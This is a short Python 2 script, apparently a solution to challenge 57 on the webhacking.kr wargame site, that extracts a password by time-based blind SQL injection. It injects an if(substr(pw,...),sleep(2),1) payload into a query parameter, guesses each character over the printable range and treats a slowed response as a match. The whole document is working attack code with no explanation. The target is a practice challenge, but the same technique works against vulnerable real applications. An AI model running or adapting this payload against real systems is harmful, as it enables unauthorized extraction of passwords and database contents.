webhacking.kr_57

import urllib2
import time

session = ""
url = "http://webhacking.kr/challenge/web/web-34/index.php"
for y in xrange(1,15):
    for x in xrange(0x20, 0x7e):
        t = time.time()
        query = "?msg=1&se=if(substr(pw,"+str(y)+",1)="+str(hex(x))+",sleep(2),1)"
        req = urllib2.Request(url+query)
        req.add_header("Cookie", "PHPSESSID="+session)
        urllib2.urlopen(req)
        if time.time() - t > 2:
            print chr(x),
        time.sleep(0.2)